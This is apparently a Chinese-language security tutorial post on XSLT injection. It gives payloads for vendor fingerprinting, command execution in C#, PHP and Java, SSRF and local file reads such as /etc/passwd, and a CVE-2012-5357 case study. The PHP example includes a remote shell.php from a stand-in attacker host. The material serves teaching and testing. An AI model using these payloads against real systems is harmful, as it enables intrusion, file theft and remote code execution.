[Day12] XSLT Injection

前言

又来Injection了!

正文

XSLT,全称Extensible Stylesheet Language Transformations,这是一种样式转换标记语言,只要用於将XML的资料档转换为另外的XML或其他format,像是HTML等等。它可以在不对原始资料档案进行变动的状况下进行格式转换(以现有资料产生新的内容格式)。

然而,若是对未经验证的样式表进行处理,就可藉此变更新产生的XML结构和内容,可以影响的范围从XSS、加入/读取任意档案到任意程序码执行。

可以藉由使用一些会导致XML档案语法无效的Character像是",',<,>进行测试,在具有此漏洞的网站中碰到这些字元通常会返回错误。

范例

参考

可以使用xsl:version,xsl:vendor,xsl:vendor-url以下来确定供应商以及其版本,例如:

<?xml version="1.0" encoding="utf-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
  <xsl:template match="/fruits">
	<xsl:value-of select="system-property('xsl:vendor')"/>
  </xsl:template>
</xsl:stylesheet>

若这是一个具有漏洞网站的Microsoft .Net System.xml的话,就会return:
Microsoft

XSS

RCE

  • C#
xslt=<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" 
xmlns:msxsl="urn:schemas-microsoft-com:xslt" 
xmlns:App="http://www.tempuri.org/App">
    <msxsl:script implements-prefix="App" language="C#">
      <![CDATA[
          {
              System.Diagnostics.Process.Start("cmd.exe /C dir");
          }
      ]]>
    </msxsl:script>
    <xsl:template match="ArrayOfTest">
    </xsl:template>
  </xsl:stylesheet>
  • php
<?xml version="1.0" encoding="UTF-8"?>
<html xsl:version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl">
<body style="font-family:Arial;font-size:12pt;background-color:#EEEEEE">
		<xsl:variable name="payload">
			include("http://attacker.com/shell.php")
		</xsl:variable>
		<xsl:variable name="include" select="php:function('assert',$payload)"/>
</body>
</html>
  • Java
<xml version="1.0"?>
<xsl:stylesheet version="2.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:java="http://saxon.sf.net/java-type">
<xsl:template match="/">
<xsl:value-of select="Runtime:exec(Runtime:getRuntime(),'cmd.exe /C dir')" xmlns:Runtime="java:java.lang.Runtime"/>
</xsl:template>.
</xsl:stylesheet>

SSRF

<?xml version="1.0" encoding="utf-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
  <xsl:template match="/fruits">
    <xsl:copy-of select="document('http://<internalIP>:25')"/>
    <xsl:copy-of select="document('/etc/passwd')"/>
    <xsl:copy-of select="document('file:///c:/winnt/win.ini')"/>
    Fruits:
	    <!-- Loop for each fruit -->
    <xsl:for-each select="fruit">
      <!-- Print name: description -->
      - <xsl:value-of select="name"/>: <xsl:value-of select="description"/>
    </xsl:for-each>
  </xsl:template>
</xsl:stylesheet>

Case Study

Ektron Web CMS
CVE-2012-5357
透过利用内置的Saxon XSLT 2.0,并在Microsoft的EnableScript关闭时,调用Runtime:getRuntime(),达成RCE:
url: http(s)://WorkArea/ContentDesigner/ekajaxtransform.aspx

xslt=<?xml version="1.0"?>
<xsl:stylesheet version="2.0" 
xmlns:xsl="http://www.w3.org/1999/XSL/Transform" 
xmlns:java="http://saxon.sf.net/java-type">
<xsl:template match="/">
<xsl:value-of select="Runtime:exec(Runtime:getRuntime(),cmd.exe /C dir)"
xmlns:Runtime="java:java.lang.Runtime"/>
</xsl:template>
</xsl:stylesheet>

<<:  DAY27 进行式--工作日志002

>>:  着麽可爱果然是男森!!

Day 12 CSS <圆角边框、盒子阴影>

圆角边框 使用border-radius圆角边框样式,可以修改盒子边框变成圆角 语法: border...

第13天~

转场动画-老师说也不要花太多时间 一样先通通关掉+第3个 建activity_main.xml的bu...

[14] 开始使用 telegram

先到以下网址 https://my.telegram.org/auth 建立自己的api凭证 目标是...

Day34 参加职训(机器学习与资料分析工程师培训班),网站设计与网页工程技术

目标: 爬取股价,使用线性回归预测股价 from datetime import time from...

Day37 ATT&CK for ICS - Impact(3)

T0837 Loss of Protection 攻击者攻击目的是针对设备的安全保护机制,所谓安全保...